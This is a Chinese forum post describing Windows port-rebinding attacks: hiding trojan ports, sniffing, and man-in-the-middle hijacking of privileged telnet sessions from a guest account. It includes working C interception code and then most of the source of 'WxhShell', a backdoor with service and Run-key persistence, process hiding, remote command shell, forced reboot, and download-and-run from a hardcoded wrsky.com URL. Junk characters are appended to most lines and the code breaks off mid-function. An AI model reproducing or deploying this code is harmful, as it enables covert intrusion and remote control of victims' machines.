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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u"+}I,'L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HL8eD^  
;j'Daupt;=  
  saddr.sin_family = AF_INET; M_1;$fWq  
xRxy|x[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Lj 8<' "U#  
ISNcswN#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <P4 FzK  
:.nRN`e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EzT`,#b  
Ly #_?\bn  
  这意味着什么?意味着可以进行如下的攻击: E1*QdCV2  
nk@atK,38^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n=!uNu7  
9&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #oV+@D`  
p'Bm8=AwD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~W{-Q.  
Q5n`F5   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oF|N O^H  
3W&S.$l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $a#H,Xv#  
APSgnf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b?VV'{4  
H3O@9YU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o"+ i&Wp~  
1}g:|Q  
  #include %SA!p;  
  #include 9- )qZ  
  #include @*O?6>  
  #include    6"QEJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j1U 5~%^  
  int main() u, kU$  
  { OAe#Wf!c  
  WORD wVersionRequested; tP(h9|[N  
  DWORD ret; bcz-$?]  
  WSADATA wsaData; l-O$m  
  BOOL val; l]!B#{  
  SOCKADDR_IN saddr; 1W,(\'^R  
  SOCKADDR_IN scaddr; xeA#u J  
  int err; :b /J\  
  SOCKET s; gv.6h{Ut  
  SOCKET sc; g8pO Lr'  
  int caddsize; ;JTt2qQKo  
  HANDLE mt; M$S]}   
  DWORD tid;   kgW @RD|  
  wVersionRequested = MAKEWORD( 2, 2 ); !1Y&Y@ze  
  err = WSAStartup( wVersionRequested, &wsaData ); B3 zk(RNZ  
  if ( err != 0 ) { :1aL ?  
  printf("error!WSAStartup failed!\n"); r`M6!}oa  
  return -1; @WOM#Kc  
  } vq'k|_Qi=  
  saddr.sin_family = AF_INET; Fx#jV\''s  
   JK)qZ=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b{cU<;G)y.  
0b-?q&*_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p]&j;H.  
  saddr.sin_port = htons(23); ;hDa@3|]34  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <+U|dX  
  { _D;@v?n6!O  
  printf("error!socket failed!\n"); =1hr2R(V  
  return -1; q mQfLz7&x  
  } }DjYGMrTB  
  val = TRUE; 5ukp^OxE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WlVl[/qt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pGGmA;TC1  
  { *yaw$oB  
  printf("error!setsockopt failed!\n"); *3+-W  
  return -1; ,/2LY4` 5  
  } 3S~(:#|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dE(tFZx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H[WQ=){  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IOl+t,0x&  
uO(w1Q"^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3Qn!y\#  
  { mY-hN|  
  ret=GetLastError(); eph)=F$  
  printf("error!bind failed!\n"); 1|| nR4yK  
  return -1; vF={9G  
  } "8<K'zeS8  
  listen(s,2); m#5_%3T  
  while(1) {|<"C?  
  { T3,1m=S  
  caddsize = sizeof(scaddr); K`6z&*  
  //接受连接请求 :%4imgY`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :8f[|XR4\N  
  if(sc!=INVALID_SOCKET) E3l*8F%<3  
  { TkRP3_b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jfhk@27T  
  if(mt==NULL) v/QUjXBr  
  { *I*i>==Z  
  printf("Thread Creat Failed!\n"); &"E lm  
  break; DSyXr~p8  
  } X_TiqV  
  } >FF5x#^&c  
  CloseHandle(mt); i'HQQWd  
  } QWO]`q`|  
  closesocket(s); w4};q%OBj  
  WSACleanup(); 1,t)3;o$  
  return 0; /bVZ::A&_  
  }   YZwaD b  
  DWORD WINAPI ClientThread(LPVOID lpParam) J7$_VP  
  { /@oLe[Mz$  
  SOCKET ss = (SOCKET)lpParam; #bnb ': f  
  SOCKET sc; b{Zpux+  
  unsigned char buf[4096]; b$JBL_U5Ch  
  SOCKADDR_IN saddr; #5ax^p2*~  
  long num; On_@HQ/FI  
  DWORD val; B(5c9DI`  
  DWORD ret; ]N)DS+V/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ERMa# L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `lpz-"EEV  
  saddr.sin_family = AF_INET; \=2m7v#E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wch~ Yb  
  saddr.sin_port = htons(23); CXaWgxlK:a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9U_ks[Qa  
  { p<GR SJIk=  
  printf("error!socket failed!\n"); !PUZWO  
  return -1; X&\d)/Y  
  } F2I 5q C/  
  val = 100; Fd$!wBL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9";sMB}W*  
  { =?Fkn4t  
  ret = GetLastError(); \Ad7 Gi~  
  return -1; kBWrqZ6  
  } ](0mjE04<d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ud%s^A-qS  
  { =\kMXB  
  ret = GetLastError(); {3\R|tZh,`  
  return -1; d5m`Bm-{  
  } %j,iAUE<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '0aG N<c  
  { }d Ad$^  
  printf("error!socket connect failed!\n"); K?.e|  
  closesocket(sc); U>qHn'M  
  closesocket(ss); c-1q2y  
  return -1; Xq#Y*lKVD  
  } mLbN/M  
  while(1) z!wDpG7b  
  { M4f;/`w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  #@.-B,]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !X^Ce)1K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cNK)5- U  
  num = recv(ss,buf,4096,0); nhT(P`6  
  if(num>0) ).412I  
  send(sc,buf,num,0); )r6EW`$  
  else if(num==0) PRu&3BP  
  break; |CD"*[j]  
  num = recv(sc,buf,4096,0); g}xQ6rd  
  if(num>0) wTq{sW&  
  send(ss,buf,num,0); m\u26`M  
  else if(num==0) iAn'aW\TF  
  break; Gpj* V|J  
  } s'HD{W`  
  closesocket(ss); db72W x0>  
  closesocket(sc); ;@mRo`D`  
  return 0 ; Sr Ca3PA  
  } k#>hg#G  
(U1]:tZ<.  
\}*k)$r  
========================================================== fC-P.:F#I  
@'FE2^~Jj  
下边附上一个代码,,WXhSHELL Z9`TwS@x[  
[j,txe?n  
========================================================== #& .]" d  
-#:zsu  
#include "stdafx.h" vRQOs0F;  
K|S:{9Q  
#include <stdio.h> TV59(bG.2  
#include <string.h> s<QkDERMX  
#include <windows.h> F3U`ueP  
#include <winsock2.h> 0?Q_@Y  
#include <winsvc.h> -b;|q.!  
#include <urlmon.h> rVSZ.+n  
`u'bRp  
#pragma comment (lib, "Ws2_32.lib") ]c)_&{:V  
#pragma comment (lib, "urlmon.lib") |+,[``d>"  
|pZUlQbb  
#define MAX_USER   100 // 最大客户端连接数 O'*@ Ytn  
#define BUF_SOCK   200 // sock buffer afEF]i  
#define KEY_BUFF   255 // 输入 buffer T<b+s#n4  
[]kN16F  
#define REBOOT     0   // 重启 A#h/B+  
#define SHUTDOWN   1   // 关机 |AhF7Mj*  
T )~9Wac  
#define DEF_PORT   5000 // 监听端口 -~f511<  
]B\H ~Kn  
#define REG_LEN     16   // 注册表键长度 =^DLywAh}u  
#define SVC_LEN     80   // NT服务名长度 G'z{b$?/[  
=<z.mzqu5  
// 从dll定义API {r85l\u)Q\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '\q f^?9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y'VBz{brf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); njPPztv/@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hcCp,b  
!BIOY!M  
// wxhshell配置信息 "B7`'jz  
struct WSCFG { 9SQ4cv*2  
  int ws_port;         // 监听端口 @p=AWi}\  
  char ws_passstr[REG_LEN]; // 口令 ShOX<Fb&  
  int ws_autoins;       // 安装标记, 1=yes 0=no T(?HMyg3  
  char ws_regname[REG_LEN]; // 注册表键名 nR;D#"p%  
  char ws_svcname[REG_LEN]; // 服务名 Ddju~510  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 25y6a|`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TCKu,}s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @Yw,nQE)b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `\u;K9S6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G bP!9I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tiPa6tQ  
E-5_{sc  
}; E ]9\R  
F/c$v  
// default Wxhshell configuration (@0O   
struct WSCFG wscfg={DEF_PORT, 'T=~jA7SkT  
    "xuhuanlingzhe", ./6<r OW  
    1, 0C%W&;r0  
    "Wxhshell", AV8T  
    "Wxhshell", |Hr:S":9  
            "WxhShell Service", o]n!(f<(*  
    "Wrsky Windows CmdShell Service", g| <wyt[  
    "Please Input Your Password: ", YGvUwj'2a  
  1, FCj{AD  
  "http://www.wrsky.com/wxhshell.exe", &;TJ~r#K  
  "Wxhshell.exe"  u6u=2  
    }; w~R`D  
MxQ?Sb%Gka  
// 消息定义模块 [4&#*@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eW'2AT?2H%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Os%n{_#8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qml2XJ>  
char *msg_ws_ext="\n\rExit."; BQ</g* $;  
char *msg_ws_end="\n\rQuit."; D('2p8;2"7  
char *msg_ws_boot="\n\rReboot..."; Z;Rp+ X  
char *msg_ws_poff="\n\rShutdown..."; G2{O9  
char *msg_ws_down="\n\rSave to "; [%A4]QzWh  
?(6mVyIe  
char *msg_ws_err="\n\rErr!"; C#V ~Y  
char *msg_ws_ok="\n\rOK!"; 5+Mdh`  
\VMD$zZx  
char ExeFile[MAX_PATH]; Ty(@+M~-  
int nUser = 0; Q;Wj?8}  
HANDLE handles[MAX_USER]; [Qt?W gPj  
int OsIsNt; pE.PX 8  
-5l6&Y   
SERVICE_STATUS       serviceStatus; lfsqC};#\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HL3XyP7  
qm*}U3K  
// 函数声明 .9[45][FK  
int Install(void); %6%<?jZ  
int Uninstall(void); W/ay.I  
int DownloadFile(char *sURL, SOCKET wsh); 3-Dt[0%{  
int Boot(int flag); 6 9y;`15  
void HideProc(void); S{Hx]\  
int GetOsVer(void); gy: %l  
int Wxhshell(SOCKET wsl); i`(^[h ?;  
void TalkWithClient(void *cs);  Qe"pW\  
int CmdShell(SOCKET sock); FbnO/! $8  
int StartFromService(void); cXMhq<GkAA  
int StartWxhshell(LPSTR lpCmdLine); G.'+-v=\]  
 6Si-u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5v\!]?(O;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ma$Prd  
!}+tdT(y  
// 数据结构和表定义 ^vs=f 95  
SERVICE_TABLE_ENTRY DispatchTable[] = ^-CINt{O  
{ f ).1]~  
{wscfg.ws_svcname, NTServiceMain}, )py{\r9X  
{NULL, NULL} }V;+l8  
}; 3l<S}k@M)  
22P$ ~ch  
// 自我安装 KfCoe[Vv  
int Install(void) 5BkV aF7Th  
{ U_l'3oPJw  
  char svExeFile[MAX_PATH]; O#EV5FeF.  
  HKEY key; lOwS&4UT  
  strcpy(svExeFile,ExeFile); ,5Pl\keY  
h0Z{,s}  
// 如果是win9x系统,修改注册表设为自启动 g$:Xuw1  
if(!OsIsNt) { m4E)qCvy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 88"Sai  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3=Ec "  
  RegCloseKey(key); <mMTD8Sx]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tGdf/aTjy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;< )~Y-  
  RegCloseKey(key); oY~ Dg  
  return 0; ~n')&u{  
    } IL/Yc1  
  } -F"Q EL#  
} D'l5Zd  
else { YKbCdLQ  
j/T>2|dA&  
// 如果是NT以上系统,安装为系统服务 (}r|yE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mV73 \P6K  
if (schSCManager!=0) I]"96'|N  
{ p,pR!qC>  
  SC_HANDLE schService = CreateService CBQhIvq.d  
  ( SQ,?N XZ  
  schSCManager, <!$:8ls  
  wscfg.ws_svcname, (KZHX5T=  
  wscfg.ws_svcdisp, dm "n%  
  SERVICE_ALL_ACCESS, [a o U5;7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  O|A_PyW  
  SERVICE_AUTO_START, ;R=.iOn  
  SERVICE_ERROR_NORMAL, BG^C9*ZuP  
  svExeFile, R .[Z]-X  
  NULL, _{vkX<s  
  NULL, `dMqe\o%!  
  NULL, F["wD O  
  NULL, SjjIr ^  
  NULL *{undZ?(>  
  ); v1k)hFjPK  
  if (schService!=0) 5m=I*.qE  
  { MC((M,3L  
  CloseServiceHandle(schService); K'iIJA*Sn  
  CloseServiceHandle(schSCManager); #eU.p&Zc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uV-'~8  
  strcat(svExeFile,wscfg.ws_svcname); a9zw)A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o[ENp'r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O<)y-nx;X  
  RegCloseKey(key); 22<0DhJ  
  return 0; ?.c;oS|  
    } +#b:d=v!  
  } 0c.s -  
  CloseServiceHandle(schSCManager); }),w1/#5u8  
} 9%ii '{  
} FEPXuCb  
{u!)y?}I-  
return 1; &~UJf4b|A  
} OX%MP!#KU  
yq_LW>|Z  
// 自我卸载 p2J|Hl|  
int Uninstall(void) UY2X  
{ $wYtyN[  
  HKEY key; {Y}dv`G#Iu  
P+t#4J  
if(!OsIsNt) { V>64/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]%uZ\Q;9p  
  RegDeleteValue(key,wscfg.ws_regname); :0K8h  
  RegCloseKey(key); E| YdcS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Mj/&b>"e  
  RegDeleteValue(key,wscfg.ws_regname); Sp}D ;7  
  RegCloseKey(key); biozZ  
  return 0; Z=4{Vv*  
  } ,y9iKkg  
} lT\a2.E  
} '6$*YN&5  
else { ODc9r }  
;o/>JHGj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Pi%%z  
if (schSCManager!=0) B,z<%DAE  
{ >vrxP8_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s%iOUL2/  
  if (schService!=0) } B396X  
  { '^%~JyU  
  if(DeleteService(schService)!=0) { )CI1;  
  CloseServiceHandle(schService); ~9F,%  
  CloseServiceHandle(schSCManager); 4E8JT#&  
  return 0; EA.D}XC  
  } M,j(=hRJ/E  
  CloseServiceHandle(schService); zPEg  
  } _4 6X%k  
  CloseServiceHandle(schSCManager); 2;L|y._`w  
} !$A37j6  
} n/QF2&X7)  
RWgDD;&_[a  
return 1; *xf._~E  
} 6b8;}],|  
EzW)'Zzw~  
// 从指定url下载文件 dk QaM@  
int DownloadFile(char *sURL, SOCKET wsh) !KKT[28v  
{ k^$+n_  
  HRESULT hr; J68j=`Y  
char seps[]= "/"; I"AYWo?  
char *token; Ub0/r$]DK  
char *file; D7]# Xk2  
char myURL[MAX_PATH]; _$<Gyz*  
char myFILE[MAX_PATH]; U%7i=Z{^Ks  
5`~mmAUk;`  
strcpy(myURL,sURL); 8$|8`;I(  
  token=strtok(myURL,seps); " "O"  
  while(token!=NULL) `<^VR[Mx  
  { K.C> a:J  
    file=token; 4fh^[\  
  token=strtok(NULL,seps); #8{F9w<Rf  
  } }MR1^  
7;.xc{  
GetCurrentDirectory(MAX_PATH,myFILE); -Z4{;I[Q@  
strcat(myFILE, "\\"); +u@aJ_^  
strcat(myFILE, file); X.ONa_  
  send(wsh,myFILE,strlen(myFILE),0); 2c<&eX8"  
send(wsh,"...",3,0); $=sXAK9   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M-NV_W&M  
  if(hr==S_OK) i$^)UZJ&0  
return 0; [=uo1%  
else DfJ2PX}q  
return 1; d#:3be{|&q  
W$dn_9W  
} v]2S`ffP  
q,<[hBri-  
// 系统电源模块 _2fkb=2@  
int Boot(int flag) 0,*%vG?Q  
{ qP!eJ6[Nh"  
  HANDLE hToken; P ]N [y  
  TOKEN_PRIVILEGES tkp; Jxf~&!zR  
z^o1GY  
  if(OsIsNt) { ;vhyhP.oM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6Dws,_UAZ4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0YH+B   
    tkp.PrivilegeCount = 1; {"*VU3%q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "`}~~.q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p6EDQwlf  
if(flag==REBOOT) { +c:3o*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4A{|[}!  
  return 0; nU+tM~C%a  
} g}&hl"j  
else { f#%JSV"7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,!G{5FF8:  
  return 0; mtic>  
} U5Erm6U:  
  } Ot&:mT!2  
  else { YF#H Sf7  
if(flag==REBOOT) { F0~k1TDw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g1(Xg.  
  return 0; JGiKBm;  
} P7r'ffA  
else { IC/(R! Crj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +]>+a<x*%  
  return 0; 39 e;  
} hovGQHg  
} g*\/N,"z  
lJykyyCY+  
return 1; .=9 s1 ~]  
} Y izE5[*  
>Sk[vI0Y  
// win9x进程隐藏模块 #)+- lPe  
void HideProc(void) fnzy5+9"  
{ s*M@%_A?  
9D@$i<D:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rgIrr5  
  if ( hKernel != NULL ) z `8cOK-  
  { ~>G]_H]?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `U!y&Q$,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GYRYbiwqdi  
    FreeLibrary(hKernel); O@8pC+#`Z  
  } 7k{2Upg;  
wbbqt0un  
return; (lA.3 4.p  
} S6nhvU:  
qOCJTOg7  
// 获取操作系统版本 Q>}2cDl  
int GetOsVer(void) v=Y K8fNi  
{ Pvo#pY^dXX  
  OSVERSIONINFO winfo; CDMfa&;T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tury<*  
  GetVersionEx(&winfo); 3 K/Df#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ske@uzAz  
  return 1; v|Jlf$>  
  else h SqY$P  
  return 0; &Y|Xd4:  
} x!S;SU  
Ftb%{[0}u3  
// 客户端句柄模块 O/AE}]  
int Wxhshell(SOCKET wsl) Df07y<>7Q  
{ `T*U]/zQ  
  SOCKET wsh; KV!<Oq  
  struct sockaddr_in client; AH7L.L+$M  
  DWORD myID; .;/L2Jv  
S^RUw  
  while(nUser<MAX_USER) r2*<\ax  
{ )9"oL!2h  
  int nSize=sizeof(client); :LJ7ru2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :bM+&EP  
  if(wsh==INVALID_SOCKET) return 1; _fTwmnA  
";3*?/uM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `hh9"Ws%  
if(handles[nUser]==0) XaI;2fMGI  
  closesocket(wsh); tgFJZA  
else /4S;QEv  
  nUser++; 4 (?MUc  
  } O0~vf[i];  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Vl!|\x5  
O>r-]0DI[  
  return 0; c|p,/L09L  
} Aw ^yH+ae  
Rz <OF^Iy  
// 关闭 socket +}7fg82)  
void CloseIt(SOCKET wsh) n"{X!(RIcx  
{ kka"C]!  
closesocket(wsh); <zfe }0  
nUser--; R zR?&J  
ExitThread(0); +`en{$%%  
} wJ"ev.A)  
}Ag|gF!_  
// 客户端请求句柄 SQ(apc}N4  
void TalkWithClient(void *cs) J}g~uW  
{ ~&G4)AM  
$`Nd?\$  
  SOCKET wsh=(SOCKET)cs; uZjI?Z.A  
  char pwd[SVC_LEN]; a_T,t'6  
  char cmd[KEY_BUFF]; vS; '}N  
char chr[1]; VC&c)X  
int i,j; ^tAO_~4  
AY2:[ 5cm  
  while (nUser < MAX_USER) { \^532FIw6  
NGzgLSm\  
if(wscfg.ws_passstr) { ))#'4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TYS\95<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W^g'}}]T  
  //ZeroMemory(pwd,KEY_BUFF); ^[# & ^[-V  
      i=0; )@7DsV/M  
  while(i<SVC_LEN) { M]_E  
D5]{2z}k  
  // 设置超时 T-L5zu  
  fd_set FdRead; /0==pLa4  
  struct timeval TimeOut; -e>|kPfv!  
  FD_ZERO(&FdRead); /)#8)"`nT  
  FD_SET(wsh,&FdRead); ziL^M"~2  
  TimeOut.tv_sec=8; _vYzF+  
  TimeOut.tv_usec=0; BA+_C]%ZJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L'kq>1QWf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r2eQ{u{nX  
mBl7{w;Iv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =& U`9qN  
  pwd=chr[0]; |qUrEGjiSS  
  if(chr[0]==0xd || chr[0]==0xa) { Vu]h4S:  
  pwd=0; SE`l(-tL  
  break; (O5)wej   
  } `.BR= ['O  
  i++; UmP'L!  
    } 2R@%Y/  
9U<Hf32  
  // 如果是非法用户,关闭 socket %xg"Q |  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S ~|.&0"\  
} Qlz Q]:dWC  
YdOUv|tZC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P#tvm,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tHI*,  
0-xCp ~vE  
while(1) { vA?_-.J  
n6f3H\/P&  
  ZeroMemory(cmd,KEY_BUFF); #ooc)),  
f'{>AKi=C  
      // 自动支持客户端 telnet标准   'h *Zc}Q:  
  j=0; TlPVHJyt  
  while(j<KEY_BUFF) { n(&*kfk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); * BOBH;s  
  cmd[j]=chr[0]; ~mH+DV3  
  if(chr[0]==0xa || chr[0]==0xd) { Jp ]T9W\  
  cmd[j]=0; olty4kGD$V  
  break; RO oE%%8I  
  } 0n5UKtB  
  j++; @>O&Cpt  
    } v]bAWo  
f=ib9WbR#  
  // 下载文件 TETsg5#  
  if(strstr(cmd,"http://")) { .hN3`>*V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h~ha  
  if(DownloadFile(cmd,wsh)) lO 2k<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zqGYOm$r  
  else |=3 *;}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;nk@XFJ  
  } |~NeB"l{  
  else { X <xqT  
878tI3-  
    switch(cmd[0]) { h)o]TV  
  u2lmwE  
  // 帮助 *Q/E~4AW|t  
  case '?': { .BL:h&h|y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); raQYn?[  
    break; (3fPt;U  
  } v*D FiCQD  
  // 安装 T Nci.']  
  case 'i': { */U$sZQ)  
    if(Install()) 6y@<?08Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iEhDaC[e(b  
    else Yq;&F0paK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MVAc8dS  
    break; ,k%8yK  
    } nHU3%%%cU  
  // 卸载 Y n>{4BZ>#  
  case 'r': { 6D^%'[4t  
    if(Uninstall()) r}@< K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4Y sZ  
    else 1UyH0`&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fe4esg-B<  
    break; w4}(Ab<Y  
    } >@Khm"/T  
  // 显示 wxhshell 所在路径 JS2!)aqc  
  case 'p': { {G.{a d  
    char svExeFile[MAX_PATH]; 6QptKXu7  
    strcpy(svExeFile,"\n\r"); EG1x  
      strcat(svExeFile,ExeFile); s}!"a8hU`  
        send(wsh,svExeFile,strlen(svExeFile),0); ~%GSsm\J  
    break;  * D3  
    } w{ m#Yt  
  // 重启 4H9xO[iM  
  case 'b': { K z^hQd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :wCC^Y]  
    if(Boot(REBOOT)) _6I>+9#C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UJs?9]x>  
    else { j)@oRWL<  
    closesocket(wsh); 0C7"3l  
    ExitThread(0); +}]wLM}\UF  
    } qid1b b  
    break; B#4S/d{/  
    } }'_:XKLj  
  // 关机 -(  ER4#  
  case 'd': { h=mv9=x  
